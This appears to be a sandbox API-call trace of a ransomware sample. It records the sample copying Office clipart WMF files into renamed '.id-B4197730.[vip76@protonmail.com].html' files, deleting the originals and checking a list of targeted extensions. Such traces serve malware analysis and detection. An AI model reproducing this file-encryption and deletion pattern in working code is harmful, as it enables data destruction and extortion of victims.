	[0072.116] lstrlenW (lpString="AN04174_.WMF") returned 12
	[0072.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0072.116] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=2636) returned 1
	[0072.116] CloseHandle (hObject=0x33c) returned 1
	[0072.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 0x220
	[0072.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0072.116] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.116] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0072.117] GetLastError () returned 0x0
	[0072.117] ReadFile (in: hFile=0x33c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0xa4c, lpOverlapped=0x0) returned 1
	[0072.118] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xa50, lpOverlapped=0x0) returned 1
	[0072.119] ReadFile (in: hFile=0x33c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.119] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0072.120] SetEndOfFile (hFile=0x390) returned 1
	[0072.120] CloseHandle (hObject=0x390) returned 1
	[0072.120] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.120] SetEndOfFile (hFile=0x33c) returned 1
	[0072.121] CloseHandle (hObject=0x33c) returned 1
	[0072.121] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0072.122] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 1
	[0072.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0072.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0072.122] lstrlenW (lpString=".doc") returned 4
	[0072.122] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.122] lstrlenW (lpString=".docx") returned 5
	[0072.122] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.122] lstrlenW (lpString=".pdf") returned 4
	[0072.122] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.122] lstrlenW (lpString=".xls") returned 4
	[0072.122] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.122] lstrlenW (lpString=".xlsx") returned 5
	[0072.122] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.122] lstrlenW (lpString=".ppt") returned 4
	[0072.122] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0072.122] lstrlenW (lpString=".zip") returned 4
	[0072.122] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.122] lstrlenW (lpString=".rar") returned 4
	[0072.122] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.122] lstrlenW (lpString=".bz2") returned 4
	[0072.122] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.122] lstrlenW (lpString=".7z") returned 3
	[0072.122] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0072.123] lstrlenW (lpString=".dbf") returned 4
	[0072.123] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0072.123] lstrlenW (lpString=".1cd") returned 4
	[0072.123] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0072.123] lstrlenW (lpString=".jpg") returned 4
	[0072.123] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0072.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0072.123] lstrlenW (lpString=".doc") returned 4
	[0072.123] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.123] lstrlenW (lpString=".docx") returned 5
	[0072.123] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.123] lstrlenW (lpString=".pdf") returned 4
	[0072.123] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.123] lstrlenW (lpString=".xls") returned 4
	[0072.123] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.123] lstrlenW (lpString=".xlsx") returned 5
	[0072.123] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.123] lstrlenW (lpString=".ppt") returned 4
	[0072.123] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0072.123] lstrlenW (lpString=".zip") returned 4
	[0072.123] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.123] lstrlenW (lpString=".rar") returned 4
	[0072.123] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.123] lstrlenW (lpString=".bz2") returned 4
	[0072.123] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.124] lstrlenW (lpString=".7z") returned 3
	[0072.124] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0072.124] lstrlenW (lpString=".dbf") returned 4
	[0072.124] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0072.124] lstrlenW (lpString=".1cd") returned 4
	[0072.124] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0072.124] lstrlenW (lpString=".jpg") returned 4
	[0072.124] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.124] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0072.124] lstrlenW (lpString="AN04191_.WMF") returned 12
	[0072.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0072.124] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=6636) returned 1
	[0072.124] CloseHandle (hObject=0x33c) returned 1
	[0072.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 0x220
	[0072.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0072.125] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.125] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0072.125] GetLastError () returned 0x0
	[0072.125] ReadFile (in: hFile=0x33c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x19ec, lpOverlapped=0x0) returned 1
	[0072.127] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x19f0, lpOverlapped=0x0) returned 1
	[0072.128] ReadFile (in: hFile=0x33c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.128] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0072.128] SetEndOfFile (hFile=0x390) returned 1
	[0072.129] CloseHandle (hObject=0x390) returned 1
	[0072.129] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.129] SetEndOfFile (hFile=0x33c) returned 1
	[0072.130] CloseHandle (hObject=0x33c) returned 1
	[0072.130] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0072.131] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 1
	[0072.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0072.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0072.131] lstrlenW (lpString=".doc") returned 4
	[0072.131] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.131] lstrlenW (lpString=".docx") returned 5
	[0072.131] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.131] lstrlenW (lpString=".pdf") returned 4
	[0072.131] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.131] lstrlenW (lpString=".xls") returned 4
	[0072.131] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.131] lstrlenW (lpString=".xlsx") returned 5
	[0072.131] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.131] lstrlenW (lpString=".ppt") returned 4
	[0072.131] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0072.131] lstrlenW (lpString=".zip") returned 4
	[0072.131] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.131] lstrlenW (lpString=".rar") returned 4
	[0072.131] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.131] lstrlenW (lpString=".bz2") returned 4
	[0072.131] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.131] lstrlenW (lpString=".7z") returned 3
	[0072.131] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0072.131] lstrlenW (lpString=".dbf") returned 4
	[0072.132] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0072.132] lstrlenW (lpString=".1cd") returned 4
	[0072.132] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0072.132] lstrlenW (lpString=".jpg") returned 4
	[0072.132] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0072.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0072.132] lstrlenW (lpString=".doc") returned 4
	[0072.132] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.132] lstrlenW (lpString=".docx") returned 5
	[0072.132] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.132] lstrlenW (lpString=".pdf") returned 4
	[0072.132] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.132] lstrlenW (lpString=".xls") returned 4
	[0072.132] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.132] lstrlenW (lpString=".xlsx") returned 5
	[0072.132] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.132] lstrlenW (lpString=".ppt") returned 4
	[0072.132] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0072.132] lstrlenW (lpString=".zip") returned 4
	[0072.132] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.132] lstrlenW (lpString=".rar") returned 4
	[0072.132] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.132] lstrlenW (lpString=".bz2") returned 4
	[0072.132] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.132] lstrlenW (lpString=".7z") returned 3
	[0072.132] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0072.132] lstrlenW (lpString=".dbf") returned 4
	[0072.133] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0072.133] lstrlenW (lpString=".1cd") returned 4
	[0072.133] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0072.133] lstrlenW (lpString=".jpg") returned 4
	[0072.133] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.133] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0072.133] lstrlenW (lpString="AN04195_.WMF") returned 12
	[0072.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0072.133] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=4612) returned 1
	[0072.133] CloseHandle (hObject=0x33c) returned 1
	[0072.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf")) returned 0x220
	[0072.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0072.134] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.134] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0072.134] GetLastError () returned 0x0
	[0072.134] ReadFile (in: hFile=0x33c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x1204, lpOverlapped=0x0) returned 1
	[0072.730] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x1210, lpOverlapped=0x0) returned 1
	[0072.732] ReadFile (in: hFile=0x33c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.733] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0072.734] SetEndOfFile (hFile=0x390) returned 1
	[0072.734] CloseHandle (hObject=0x390) returned 1
	[0072.735] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.735] SetEndOfFile (hFile=0x33c) returned 1
	[0072.736] CloseHandle (hObject=0x33c) returned 1
	[0072.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0072.736] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf")) returned 1
	[0072.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0072.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0072.737] lstrlenW (lpString=".doc") returned 4
	[0072.737] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.737] lstrlenW (lpString=".docx") returned 5
	[0072.738] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.738] lstrlenW (lpString=".pdf") returned 4
	[0072.738] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.738] lstrlenW (lpString=".xls") returned 4
	[0072.738] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.738] lstrlenW (lpString=".xlsx") returned 5
	[0072.738] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.738] lstrlenW (lpString=".ppt") returned 4
	[0072.738] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0072.738] lstrlenW (lpString=".zip") returned 4
	[0072.738] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.738] lstrlenW (lpString=".rar") returned 4
	[0072.738] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.738] lstrlenW (lpString=".bz2") returned 4
	[0072.738] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.738] lstrlenW (lpString=".7z") returned 3
	[0072.738] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0072.738] lstrlenW (lpString=".dbf") returned 4
	[0072.738] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0072.738] lstrlenW (lpString=".1cd") returned 4
	[0072.738] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0072.738] lstrlenW (lpString=".jpg") returned 4
	[0072.738] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0072.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0072.738] lstrlenW (lpString=".doc") returned 4
	[0072.738] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.738] lstrlenW (lpString=".docx") returned 5
	[0072.739] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.739] lstrlenW (lpString=".pdf") returned 4
	[0072.739] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.739] lstrlenW (lpString=".xls") returned 4
	[0072.739] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.739] lstrlenW (lpString=".xlsx") returned 5
	[0072.739] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.739] lstrlenW (lpString=".ppt") returned 4
	[0072.739] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0072.739] lstrlenW (lpString=".zip") returned 4
	[0072.739] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.739] lstrlenW (lpString=".rar") returned 4
	[0072.739] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.739] lstrlenW (lpString=".bz2") returned 4
	[0072.739] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.739] lstrlenW (lpString=".7z") returned 3
	[0072.739] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0072.739] lstrlenW (lpString=".dbf") returned 4
	[0072.739] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0072.739] lstrlenW (lpString=".1cd") returned 4
	[0072.739] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0072.739] lstrlenW (lpString=".jpg") returned 4
	[0072.739] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.739] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0072.740] lstrlenW (lpString="AN04385_.WMF") returned 12
